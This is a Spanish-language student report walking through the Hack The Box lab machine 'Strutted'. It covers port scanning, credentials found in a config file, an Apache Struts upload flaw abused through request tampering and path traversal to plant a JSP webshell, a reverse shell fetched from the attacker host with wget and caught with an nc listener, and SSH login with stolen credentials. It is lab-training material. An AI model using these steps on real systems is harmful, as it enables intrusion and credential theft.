



GRUPO 13



Miembros del Grupo:

Mario Martín Feliz (Portavoz)

Mario Bote Sánchez

Oscar Cardeña Gutiérrez

Índice

- Reconocimiento inicial
- Enumeración de servicios
- Configuración de DNS local
- Análisis del sitio web y descarga de archivos
- Extracción de credenciales
- Revisión del entorno de desarrollo
- Investigación de vulnerabilidades
- Preparación del ataque
- Intercepción y modificación de peticiones
- Acceso al archivo y ejecución
- Escalada a reverse shell
- Transferencia y ejecución del payload
- Escalada de privilegios

Resolución Detallada - Strutted (HTB)

1. RECONOCIMIENTO INICIAL

- Se realiza un análisis TTL para determinar si el sistema es Windows o Linux.
- Escaneo de puertos con Nmap usando el siguiente comando:

```
nmap -p- --open -sS --min-rate 5000 -vvv -n -Pn -oG allPorts <IP>
```

Explicación de flags: -sS (escaneo SYN), -min-rate 5000 (velocidad mínima), -vvv (salida detallada), -n (sin DNS), -Pn (no descubre hosts), -oG (salida grepeable).

2. ENUMERACIÓN DE SERVICIOS

- Se detectan puertos 22 (SSH) y 80 (HTTP).
- Se hace escaneo con:

```
nmap -p22,80 -sCV <IP> -oN targeted
```

Donde -sC lanza scripts NSE y -sV identifica versiones.

- El escaneo revela que el sistema es Ubuntu y usa nginx como servidor web, y OpenSSH para el servicio SSH.
- Se investiga la versión y se encuentra que podría corresponder a Ubuntu Jammy o un contenedor Docker.

3. CONFIGURACIÓN DE DNS LOCAL

- El dominio del sitio web no resuelve automáticamente.
- Se edita el archivo /etc/hosts con un editor (nano) para forzar la resolución del dominio al añadir la IP objetivo.

4. ANÁLISIS DEL SITIO WEB Y DESCARGA DE ARCHIVOS

- Se accede al sitio web desde el navegador.
- Se descarga el archivo strutted.zip.
- Se lista el contenido con 7z l strutted.zip y se detecta un archivo importante: tomcat.xml.

5. EXTRACCIÓN DE CREDENCIALES

- Se descomprime el archivo con unzip.
- Se encuentra tomcat.xml, el cual contiene credenciales de acceso.

6. REVISIÓN DEL ENTORNO DE DESARROLLO

- Se examina el Dockerfile y se observa el uso de openjdk y Maven.
- Se analiza el archivo pom.xml, donde se confirma el uso del framework Apache Struts.

7. INVESTIGACIÓN DE VULNERABILIDADES

- Se buscan vulnerabilidades asociadas a Apache Struts y se identifica un CVE relacionado con subida de archivos.
- El fallo permite realizar path traversal y subir archivos maliciosos con extensiones manipuladas.

8. PREPARACIÓN DEL ATAQUE

- Se descarga una webshell en formato JSP desde GitHub.
- Se localiza un exploit en Python desde GitHub, se guarda como struts_exploit.py y se edita con sudo nano.

9. INTERCEPCIÓN Y MODIFICACIÓN DE PETICIONES

- Se intercepta una subida de imagen mediante Burp Suite.
- Al inspeccionar el tráfico se detecta que el backend reacciona si el campo del formulario tiene "Upload" (con U mayúscula).
- Se modifica el nombre del campo a "Uploadfile" y se elimina "filename" para evadir la validación.
- Se logra subir un archivo test.jsp malicioso sin ser bloqueado.

10. ACCESO AL ARCHIVO Y EJECUCIÓN

- Se accede al archivo usando path traversal: ../../test.jsp
- Se ejecuta código a través de la webshell JSP subida.
- Se ejecutan comandos como whoami tomcat y hostname -I para confirmar que no es un contenedor.

11. ESCALADA A REVERSE SHELL

- Se utiliza revshells.com para generar un payload bash personalizado con IP atacante y puerto 9001.
- Se guarda el payload en un archivo llamado bash.sh.
- Se inicia un servidor con `python3 -m http.server 8081`.

12. TRANSFERENCIA Y EJECUCIÓN DEL PAYLOAD

- Desde el navegador, se ejecuta en la víctima:

```
wget <IP>:8081/bash.sh -O /tmp/bash.sh
```

- Se cambia permisos: `chmod 777 /tmp/bash.sh`
- Se verifica con `ls -la /tmp`
- En la máquina atacante se abre un listener con: `nc -lnvp 9001`
- Se ejecuta el script con: `/tmp/bash.sh`

13. ESCALADA DE PRIVILEGIOS

- Se accede al archivo `tomcat-users.xml` y se extrae la contraseña del usuario James.
- Se realiza conexión SSH con el usuario James.
- Se lee el archivo `users.txt` donde se encuentra la flag de usuario.

FIN DEL REPORTE